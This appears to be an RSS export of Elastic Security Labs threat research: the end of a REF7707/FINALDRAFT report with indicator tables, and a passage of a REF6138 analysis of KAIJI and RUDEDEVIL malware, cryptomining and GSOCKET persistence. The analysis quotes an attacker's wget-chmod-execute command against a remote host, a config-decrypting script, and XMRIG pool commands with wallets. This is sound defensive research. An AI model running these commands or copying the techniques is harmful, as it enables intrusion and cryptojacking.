<p>We recorded connection attempts over port <code>443</code>, where we identified a specific incoming byte pattern. The connections were sourced from eight different telecommunications and Internet infrastructure companies in Southeast Asia, indicating possible victims of the REF7707 intrusion set.</p>
<h4>Checkponit</h4>
<p><code>poster.checkponit[.]com</code> was observed in four GUIDLOADER samples and a PATHLOADER sample between May and July 2023, and it was used to host the FINALDRAFT encrypted shellcode. The <code>checkponit[.]com</code> registration was created on August 26, 2022. There are currently no A records for <code>checkponit[.]com</code> or <code>poster.checkponit[.]com</code>.</p>
<h4>Third-party infrastructure</h4>
<p>Microsoft’s <code>graph.microsoft[.]com</code> is used by the FINALDRAFT PE and ELF variants for command and control via the Graph API. This service is ubiquitous and used for critical business processes of enterprises using Office 365. Defenders are highly encouraged to NOT block-list this domain unless business ramifications are understood.</p>
<p>Google’s Firebase service (<code>firebasestorage.googleapis[.]com</code>), Pastebin (<code>pastebin[.]com</code>), and a Southeast Asian University are third-party services used to host the encrypted payload for the loaders (PATHLOADER and GUIDLOADER) to download and decrypt the last stage of FINALDRAFT.</p>
<h2>REF7707 timeline</h2>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fragile-web-ref7707/image6.png" alt="REF7707 timeline" title="FINALDRAFT timeline" /></p>
<h2>Conclusion</h2>
<p>REF7707 was discovered while investigating an intrusion of a South American nation's Foreign Ministry.</p>
<p>The investigation revealed novel malware like FINALDRAFT and its various loaders. These tools were deployed and supported using built-in operating system features that are difficult for traditional anti-malware tools to detect.</p>
<p>FINALDRAFT co-opts Microsoft’s graph API service for command and control to minimize malicious indicators that would be observable to traditional network-based intrusion detection and prevention systems. Third-party hosting platforms for encrypted payload staging also challenge these systems early in the infection chain.</p>
<p>An overview of the VirusTotal submitters and pivots using the indicators in this report shows a relatively heavy geographic presence in Southeast Asia and South America. SIESTAGRAPH, similarly, was the first in-the-wild graph API abuse we had observed, and it (REF2924) involved an attack on a Southeast Asian nation’s Foreign Ministry.</p>
<p>At Elastic Security Labs, we champion defensive capabilities across infosec domains operated by knowledgeable professionals to mitigate advanced threats best.</p>
<h2>REF7707 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0043/">Reconnaissance</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h2>Detecting REF7707</h2>
<h3>YARA</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_FinalDraft.yar">FINALDRAFT (Windows)</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_FinalDraft.yar">FINALDRAFT (Linux)</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_FinalDraft.yar">FINALDRAFT (Multi-OS)</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PathLoader.yar">PATHLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GuidLoader.yar">GUIDLOADER</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530</code></td>
<td>SHA-256</td>
<td><code>Session.x64.dll</code></td>
<td>FINALDRAFT</td>
</tr>
<tr>
<td><code>83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c</code></td>
<td>SHA-256</td>
<td><code>pfman</code></td>
<td>FINALDRAFT ELF</td>
</tr>
<tr>
<td><code>f45661ea4959a944ca2917454d1314546cc0c88537479e00550eef05bed5b1b9</code></td>
<td>SHA-256</td>
<td><code>biosets.rar</code></td>
<td>FINALDRAFT ELF</td>
</tr>
<tr>
<td><code>9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf</code></td>
<td>SHA-256</td>
<td><code>dwn.exe</code></td>
<td>PATHLOADER</td>
</tr>
<tr>
<td><code>41a3a518cc8abad677bb2723e05e2f052509a6f33ea75f32bd6603c96b721081</code></td>
<td>SHA-256</td>
<td><code>5.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>d9fc1cab72d857b1e4852d414862ed8eab1d42960c1fd643985d352c148a6461</code></td>
<td>SHA-256</td>
<td><code>7.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>f29779049f1fc2d45e43d866a845c45dc9aed6c2d9bbf99a8b1bdacfac2d52f2</code></td>
<td>SHA-256</td>
<td><code>8.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>17b2c6723c11348ab438891bc52d0b29f38fc435c6ba091d4464f9f2a1b926e0</code></td>
<td>SHA-256</td>
<td><code>3.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>20508edac0ca872b7977d1d2b04425aaa999ecf0b8d362c0400abb58bd686f92</code></td>
<td>SHA-256</td>
<td><code>1.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>33f3a8ef2c5fbd45030385b634e40eaa264acbaeb7be851cbf04b62bbe575e75</code></td>
<td>SHA-256</td>
<td><code>1.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>41141e3bdde2a7aebf329ec546745149144eff584b7fe878da7a2ad8391017b9</code></td>
<td>SHA-256</td>
<td><code>11.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>49e383ab6d092ba40e12a255e37ba7997f26239f82bebcd28efaa428254d30e1</code></td>
<td>SHA-256</td>
<td><code>2.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>5e3dbfd543909ff09e343339e4e64f78c874641b4fe9d68367c4d1024fe79249</code></td>
<td>SHA-256</td>
<td><code>4.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>7cd14d3e564a68434e3b705db41bddeb51dbb7d5425fd901c5ec904dbb7b6af0</code></td>
<td>SHA-256</td>
<td><code>1.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>842d6ddb7b26fdb1656235293ebf77c683608f8f312ed917074b30fbd5e8b43d</code></td>
<td>SHA-256</td>
<td><code>2.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>f90420847e1f2378ac8c52463038724533a9183f02ce9ad025a6a10fd4327f12</code></td>
<td>SHA-256</td>
<td><code>6.exe</code></td>
<td>GUIDLOADER</td>
</tr>
<tr>
<td><code>poster.checkponit[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>support.fortineat[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>update.hobiter[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>support.vmphere[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>cloud.autodiscovar[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>digert.ictnsc[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>d-links[.]net</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>vm-clouds[.]net</code></td>
<td>domain-name</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>47.83.8[.]198</code></td>
<td>ipv4-addr</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>8.218.153[.]45</code></td>
<td>ipv4-addr</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>45.91.133[.]254</code></td>
<td>ipv4-addr</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>8.213.217[.]182</code></td>
<td>ipv4-addr</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
<tr>
<td><code>47.239.0[.]216</code></td>
<td>ipv4-addr</td>
<td></td>
<td>REF7707 infrastructure</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/kr/security-labs/finaldraft">https://www.elastic.co/kr/security-labs/finaldraft</a></li>
<li><a href="https://mrd0x.com/the-power-of-cdb-debugging-tool/">https://mrd0x.com/the-power-of-cdb-debugging-tool/</a></li>
<li><a href="https://web.archive.org/web/20210305190100/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html">https://web.archive.org/web/20210305190100/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html</a></li>
</ul>
<h2>About Elastic Security Labs</h2>
<p>Elastic Security Labs is dedicated to creating positive change in the threat landscape by  providing publicly available research on emerging threats.</p>
<p>Follow Elastic Security Labs on X <a href="https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor">@elasticseclabs</a> and check out our research at <a href="https://www.elastic.co/kr/security-labs/">www.elastic.co/security-labs/</a>. You can see the technology we leveraged for this research and more by checking out <a href="https://www.elastic.co/kr/security">Elastic Security</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/fragile-web-ref7707/ref7707.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse]]></title>
            <link>https://www.elastic.co/kr/security-labs/betting-on-bots</link>
            <guid>betting-on-bots</guid>
            <pubDate>Fri, 27 Sep 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[The REF6138 campaign involved cryptomining, DDoS attacks, and potential money laundering via gambling APIs, highlighting the attackers' use of evolving malware and stealthy communication channels.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In recent months, Elastic Security Labs has uncovered a sophisticated Linux malware campaign targeting vulnerable servers. The attackers initiated the compromise in March 2024 by exploiting an Apache2 web server. Gaining initial access the threat actors deployed a complex intrusion set to establish persistence and expand their control over the compromised host.</p>
<p>The threat actors utilized a mixture of tools and malware, including C2 channels disguised as kernel processes, telegram bots for communication, and cron jobs for scheduled task execution. Notably, they deployed multiple malware families, such as KAIJI and RUDEDEVIL, alongside custom-written malware. KAIJI, known for its DDoS capabilities, and RUDEDEVIL, a cryptocurrency miner, were used to exploit system resources for malicious purposes.</p>
<p>Our investigation revealed a potential Bitcoin/XMR mining scheme that leverages gambling APIs, suggesting the attackers might be conducting money laundering activities using compromised hosts. We also gained access to a file share that hosted daily uploads of fresh KAIJI samples with previously unseen hashes, indicating active development and adaptation by the malware authors.</p>
<p>This research publication delves into the details of the campaign, providing a comprehensive analysis of the attackers' tactics, techniques, and procedures. We explore how they established initial access, the methods used for persistence and privilege escalation, and the malware deployed at each stage. Additionally, we discuss the command and control infrastructure, including the use of GSOCKET and Telegram for stealthy communication.</p>
<h2>Execution flow</h2>
<h3>Initial access</h3>
<p>Our team observed a host that was initially compromised in March 2024 by obtaining arbitrary code execution on a server running Apache2. Evidence of this compromise is seen in the execution of the <code>id</code> command via the Apache2 process, after which we see the threat actor exploiting the web server and deploying KAIJI malware under the <code>www-data</code> user account.</p>
<p>Shortly after the Kaiji deployment, the attacker used the <code>www-data</code> account to download a script named <code>00.sh</code> from the URL <code>http://61.160.194[.]160:35130</code>, which, after further investigation, also hosted several versions of RUDEDEVIL malware.</p>
<p><code>00.sh</code> is a stager that:</p>
<ul>
<li>Sets its default shell and PATH.</li>
<li>Deletes several log files to erase traces of execution.</li>
<li>Leverages <code>ps</code>, <code>netstat</code>, <code>lsof</code> and a list of common mining process names to kill any potential mining competition on the compromised host.</li>
<li>Flushes the <code>iptables</code> rules on the host, sets several <code>iptables</code> rules to block connections to specific destination ports and mining pools, and disables <code>iptables</code>.</li>
<li>Finally, a second stage (<code>sss6</code>/<code>sss68</code>) is downloaded and executed, and execution traces are erased.</li>
</ul>
<p>The figure below shows a compressed version of the stager. Lines annotated with <code>[...]</code> are shortened to enhance readability.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image5.png" alt="Compressed version of the 00.sh stager" title="Compressed version of the 00.sh stager" /></p>
<h3>Fileserver</h3>
<p>Via the backdoored web server process, the attacker downloaded and executed malware through the following command:</p>
<pre><code>sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86
</code></pre>
<p>The <code>l64</code> and <code>l86</code> files are downloaded from <code>http://107.178.101[.]245:5488</code>, after which they are granted all permissions, executed, and removed. Looking at the server that is hosting these malware samples, we see the following:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image30.png" alt="Rejetto File Server Hosting Several Pieces of Malware" title="Rejetto File Server Hosting Several Pieces of Malware" /></p>
<p>This seems to be a file server, hosting several types of malware for different architectures. The file server leverages the Rejetto technology. These malwares have upload dates and download counters. For example, the <code>download.sh</code> file that was uploaded September 10th, was already downloaded 3,100 times.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image25.png" alt="Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload" title="Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload" /></p>
<h3>RUDEDEVIL/LUCIFER</h3>
<p>Upon closer inspection, the file <code>sss6</code>, which was downloaded and executed, has been identified as the RUDEDEVIL malware. Early in the execution process, we encounter an embedded message characteristic of this malware family:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image11.png" alt="RUDEDEVIL Malware Characteristic" title="RUDEDEVIL Malware Characteristic" /></p>
<pre><code>Hi, man. I\'ve seen several organizations report my Trojan recently, 
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. 
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. 
I don\'t have any accommodation. I don\'t want to do anything illegal. 
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, 
thank yo
</code></pre>
<p>We note that the files <code>l64</code> and <code>l86</code> that are hosted on the file server contain the same malware. When analyzing the execution flow of the malware we see that the main function of the malware performs several key tasks:</p>
<ul>
<li><strong>Daemon Initialization:</strong> The process is converted into a daemon using <code>daemon(1, 0)</code>.</li>
<li><strong>Socket Creation:</strong> A socket is created and bound to a specific port.</li>
<li><strong>Signal Handling:</strong> Custom signal handlers are set up for various signals.</li>
<li><strong>Service Initialization:</strong> Several services are started using <code>SetFILE</code>.</li>
<li><strong>Privilege Handling:</strong> It checks for root privileges and adjusts resource limits accordingly.</li>
<li><strong>Decryption:</strong> The malware decrypts its configuration blobs.</li>
<li><strong>Thread Creation:</strong> Multiple threads are spawned for tasks like mining, killing processes, and monitoring network and CPU usage.</li>
<li><strong>Main Loop:</strong> The program enters an infinite loop where it repeatedly connects to a server and sleeps for a specified duration.</li>
</ul>
<p>When examining the encryption routine, we find it utilizes XOR-based encoding:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image13.png" alt="DareDevil Encryption Routine" title="DareDevil Encryption Routine" /></p>
<p>To decode the contents statically, we developed a basic Python snippet:</p>
<pre><code class="language-python">def DecryptData(data_block, encryption_key):
   key_modifier = encryption_key &amp; 0xFF
   key_index = key_modifier // 0x5F  # 0x5F = 95 in decimal
   modifier = (key_modifier - (key_index * 0x5F)) + 0x58  # 0x58 = 88 in decimal

   for i in range(len(data_block)):
       data_block[i] ^= modifier
       data_block[i] &amp;= 0xFF  # Ensure 8-bit value
       data_block[i] += modifier
       data_block[i] &amp;= 0xFF  # Ensure 8-bit value

   return data_block

# Encoded data as hex strings
encoded_data = [
   '4c494356515049490c467978',
   '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
   '0f424d4e0f435536575649484b',
   '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]

encryption_key = 0x03FF  # 1023 in decimal

# Process and decrypt each encoded data string
for data in encoded_data:
   # Convert hex string to list of integers
   data_bytes = bytes.fromhex(data)
   data_block = list(data_bytes)

   # Decrypt the data
   decrypted_block = DecryptData(data_block, encryption_key)

   # Convert decrypted data back to bytes
   decrypted_bytes = bytes(decrypted_block)
   print(&quot;Decrypted text:&quot;, decrypted_bytes.decode('utf-8', errors='ignore'))
</code></pre>
<p>After decoding the configuration, the following values are revealed:</p>
<ul>
<li>The first value C2 domain <code>nishabii[.]xyz</code>.</li>
<li>The second value reveals options that will be passed to XMRIG.</li>
<li>The third value shows the temp file location the malware uses.</li>
<li>The fourth and last string shows the download location for the XMRIG binary.</li>
</ul>
<h3>Thread Management in the Malware</h3>
<p>The malware initiates several threads to handle its core operations. Let’s explore how some of these functions work in detail.</p>
<h4>Understanding the KillPid Function</h4>
<p>One of the threads runs the KillPid function, which is designed to continuously monitor and manage processes. The function begins by detaching its current thread, allowing it to run in the background without blocking other processes. It then enters an infinite loop, repeatedly executing its tasks.</p>
<p>At the heart of its functionality is an array called <code>sb_name</code>, which contains the names of processes the malware wants to terminate.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image24.png" alt="RUDEDEVIL kill process array" title="RUDEDEVIL kill process array" /></p>
<p>Every two seconds, the function checks the system for processes listed in this array, retrieving their process IDs (PIDs) using a helper function called <code>getPidByName</code>. After each iteration, it moves to the next process in the list, ensuring all processes in <code>sb_name</code> are handled.</p>
<p>Interestingly, after processing all elements in the array, the function enters an extended sleep for 600 seconds — roughly 10 minutes — before resuming its process checks. This extended sleep period is likely implemented to conserve system resources, ensuring the malware doesn't consume too much CPU time while monitoring processes.</p>
<h4>Understanding the Get_Net_Messages Function</h4>
<p>Another crucial thread is responsible for monitoring network traffic, specifically focusing on the <code>eth0</code> network interface. This functionality is handled by the <code>getOutRates</code> function. The function begins by setting up necessary variables and opening the <code>/proc/net/dev</code> file, which contains detailed network statistics for each interface.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image22.png" alt="Getting network rates from /proc/net/dev" title="Getting network rates from /proc/net/dev" /></p>
<p>If the file is successfully opened, the malware reads a block of data — up to 1024 bytes — and processes it to extract the relevant network statistics. It specifically looks for the <code>eth0</code> interface, parsing the output rate data using a standard string parsing method. If successful, the function returns the output rate for <code>eth0</code>; otherwise, it returns <code>0</code>, ensuring the malware continues functioning even if an error occurs.</p>
<p>This routine allows the malware to quietly monitor the network activity of the infected machine, likely to track data being sent or received across the interface.</p>
<h4>Understanding the Get_Cpu_Message Function</h4>
<p>For CPU monitoring, the malware uses the <code>GetCpuRates</code> function. This function continuously monitors the CPU usage by reading data from <code>/proc/stat</code>. Similar to how the network data is handled, the CPU statistics are read and parsed, allowing the malware to calculate the system's CPU usage.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image34.png" alt="Getting CPU information from /proc/stat" title="Getting CPU information from /proc/stat" /></p>
<p>The function operates in an infinite loop, sleeping for one second between each iteration to avoid overwhelming the system. If the file cannot be opened for some reason, the function logs an error and gracefully exits. However, as long as it’s able to read the file, it continually monitors CPU usage, ensuring the malware remains aware of system performance.</p>
<h4>Understanding the Send_Host_Message Function</h4>
<p>Perhaps the most critical thread is the one responsible for sending system information back to the malware operators. The <code>_SendInfo</code> function performs this task by collecting data about the infected system’s CPU and network usage. It begins by setting up buffers and preparing file paths to gather the necessary data. Depending on the system’s status, it formats the CPU and network usage into a string.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image19.png" alt="Sending system info back to the C2" title="Sending system info back to the C2" /></p>
<p>Additionally, the function checks whether a particular process is running on the system and adjusts its formatted message accordingly. Finally, it sends this formatted data back to the command-and-control server via a socket connection.</p>
<p>In essence, this function allows the malware to remotely monitor the infected machine, gathering key details like CPU load and network activity. The operators can use this information to assess the status of their infection and adjust their activities as needed.</p>
<h3>Connecting to the Command-and-Control (C2) Server</h3>
<p>Once all the threads are up and running, the malware shifts its focus to establishing a connection with its C2 server. This is managed by the <code>ConnectServer</code> function in the main thread, which handles communication with the server and executes commands remotely.</p>
<h4>Understanding the ConnectServer Function</h4>
<p>The first task the <code>ConnectServer</code> function performs is establishing a connection to the C2 server using <code>ServerConnectCli</code>. After successfully connecting, the malware configures the socket to enable keep-alive settings, ensuring that the connection remains stable over extended periods of time.</p>
<p>Once the connection is set up, the malware collects various pieces of system information, including the hostname, user information, CPU specs, and memory details. This information is then sent to the server as an initial data payload, providing the attackers with a detailed view of the infected machine.</p>
<p>After this initial setup, the malware enters an ongoing loop where it awaits and processes commands from the server. The types of commands handled are varied and can include tasks like launching a DDoS attack, stopping or starting CPU-intensive operations, executing system commands, or managing cryptocurrency mining activities. The loop continues indefinitely, ensuring that the malware is ready to execute any command sent by its operators.</p>
<p>When the connection is no longer needed, or when the malware receives a termination command, it gracefully closes the socket, ending the session with the server.</p>
<h4>Command-and-Control (C2) Commands</h4>
<p>The <code>ConnectServer</code> function processes a variety of commands from the C2 server, each designed to control a different aspect of the infected system. Here’s a breakdown of the commands handled by the malware:</p>
<ul>
<li><strong>Case 4:</strong> The malware calls the <code>DealwithDDoS</code> function, likely initiating a Distributed Denial of Service (DDoS) attack.</li>
<li><strong>Case 5:</strong> Sets the <code>StopFlag</code> to <code>1</code>, which could signal the malware to stop specific tasks.</li>
<li><strong>Case 6:</strong> Downloads a file from the server using <code>http_get</code>, changes its permissions, and then executes it. This command allows the attackers to run additional malware or scripts on the infected machine.</li>
<li><strong>Case 7:</strong> Executes a system command using the <code>system</code> function, providing the attackers with direct control over the system’s command line.</li>
<li><strong>Case 8:</strong> Sets <code>StopCpu</code> to <code>0</code>, restarting any previously halted CPU tasks.</li>
<li><strong>Case 9:</strong> Sets <code>StopCpu</code> to <code>1</code>, halting all CPU tasks.</li>
<li><strong>Case 0xA:</strong> Updates the CPU mining configuration with new data and retrieves the PID of the current process, allowing the malware to modify its cryptocurrency mining operations.</li>
<li><strong>Case 0xB:</strong> Sets <code>stopxmr</code> to <code>1</code>, effectively stopping the XMRIG miner.</li>
<li><strong>Case 0xC:</strong> Resets <code>stopxmr</code> to <code>0</code> and retrieves the current process PID, resuming the mining activity.</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image19.png" alt="Processing of C2 commands" title="Processing of C2 commands" /></p>
<p>Each command gives the malware operators precise control over how the infected machine behaves, whether it’s participating in a DDoS attack, running new malware, or managing mining operations.</p>
<h3>Variants of RUDEDEVIL Malware and XMRIG Configuration</h3>
<p>While the file server mentioned before was active, we observed multiple versions of the RUDEDEVIL malware being uploaded. The core functionality of these versions remained largely the same, with the only significant variation being the embedded XMRIG commands used for cryptocurrency mining.</p>
<p>Each version of the malware was configured to connect to the same mining pool, <code>c3pool.org</code>, but with slight differences in the parameters passed to the XMRIG miner:</p>
<ul>
<li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R</code></li>
<li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2</code></li>
<li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php</code></li>
<li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0</code></li>
</ul>
<p>Each of these commands directs the miner to connect to the same mining pool but specifies different wallets or configurations. By examining the <code>c3pool</code> application, we confirmed that both XMR addresses associated with these commands are currently active and mining.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image9.png" alt="C3pool mining revenue" title="C3pool mining revenue" /></p>
<p>Additionally, through this analysis, we were able to estimate the total profit generated by these two mining campaigns, highlighting the financial impact of the RUDEDEVIL malware and its connection to illegal cryptocurrency mining operations.</p>
<h2>GSOCKET</h2>
<p>To establish persistence, the threat actor downloaded and installed <a href="https://github.com/hackerschoice/gsocket">GSOCKET</a>, a network utility designed to enable encrypted communication between machines that are behind firewalls or NAT. GSOCKET creates secure, persistent connections through the Global Socket Relay Network (GSRN). This open-source tool includes features like AES-256 encryption, support for end-to-end communication security, and compatibility with SSH, netcat, and TOR, which allow for encrypted file transfers, remote command execution, and even the creation of hidden services.</p>
<p>Although GSOCKET is not inherently malicious, its features can be leveraged for suspicious purposes.</p>
<p>Once deployed, GSOCKET performs several actions to maintain persistence and conceal its presence. First, it checks the system for active kernel processes to decide which process it will masquerade as:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image7.png" alt="GSOCKET Kernel Process Masquerading" title="GSOCKET Kernel Process Masquerading" /></p>
<p>It then creates the <code>/dev/shm/.gs-1000</code> directory to download and store its binary in shared memory. Additionally, by default, it sets up an <code>/htop</code> directory under <code>/home/user/.config/htop/</code> to store both the GSOCKET binary and the secret key used for its operations.</p>
<p>Next, a cron job that runs the GSOCKET binary with the secret key every minute is set up.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image21.png" alt="GSOCKET Crontab Persistence" title="GSOCKET Crontab Persistence" /></p>
<p>The binary is executed under the name of a kernel process using the <code>exec -a [process_name]</code> command, further enhancing the ability to evade detection. The cron job includes a base64 encoded command that, when decoded, ensures the persistence mechanism is regularly executed and disguised as a legitimate kernel process:</p>
<p>When decoding the payload, we see how the <code>defunct.dat</code> secret key is used as an argument to execute the <code>defunct</code> binary, which is masqueraded as <code>[raid5wq]</code> through the use of <code>exec -a </code>command:</p>
<p>In addition to using cron jobs, GSOCKET has the capability to establish persistence through shell profile modification, run control (<code>rc.local</code>) and Systemd. GSOCKET enumerates potential persistence locations:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image29.png" alt="GSOCKET Persistence Technique Enumeration" title="GSOCKET Persistence Technique Enumeration" /></p>
<p>GSOCKET supports multiple webhooks, such as Telegram or Discord integrations, enabling remote control and notifications:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image14.png" alt="GSOCKET Webhook Capabilities" title="GSOCKET Webhook Capabilities" /></p>
<p>Finally, after installation, GSOCKET ensures that all files that are created or modified, will be timestomped to attempt to erase any trace of installation:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image16.png" alt="GSOCKET Timestomping Capability" title="GSOCKET Timestomping Capability" /></p>
<p>These features make GSOCKET an attractive tool for threat actors seeking stealth and persistence. In this campaign, GSOCKET was exploited to establish covert channels back to C2 servers while attempting to evade detection.</p>
<p>Additionally, a PHP payload was fetched from an external IP and saved as <code>404.php</code>, likely functioning as a backdoor for future access. We did not manage to obtain this payload.</p>
<h3>Post compromise dwell time</h3>
<p>After a three-week period of quiet with no noticeable activity, the threat actors resumed operations by utilizing the built-in Python3 to establish a reverse connection to a new command-and-control server.</p>
<p>After regaining access to the host, a newer version of the KAIJI malware was deployed.</p>
<h3>KAIJI malware: a comparison to previous samples</h3>
<p>While investigating the files on the discovered file server, we saw a shell script. This shell script seems to be the main file used to download by an earlier stage, ensuring the correct architecture for the victim is used.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/image2.png" alt="KAIJI Download.sh Script" title="KAIJI Download.sh Script" /></p>
<p>The same Shell script is found in other reports where this script is used to deploy KAIJI.</p>
<p>As part of our investigation, we analyzed the KAIJI malware samples found on the file server and compared them with samples identified by Black Lotus Labs in 2022. Their detailed analysis of <code>Chaos</code> (KAIJI) can be found in their blog post<a href="https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/"> here</a>.</p>
<p>Using <a href="https://github.com/google/bindiff">BinDiff</a>, a binary comparison tool, we compared the functions in the binaries. The analysis revealed that the code in our sample was identical to the previously identified KAIJI sample from 2022.</p>
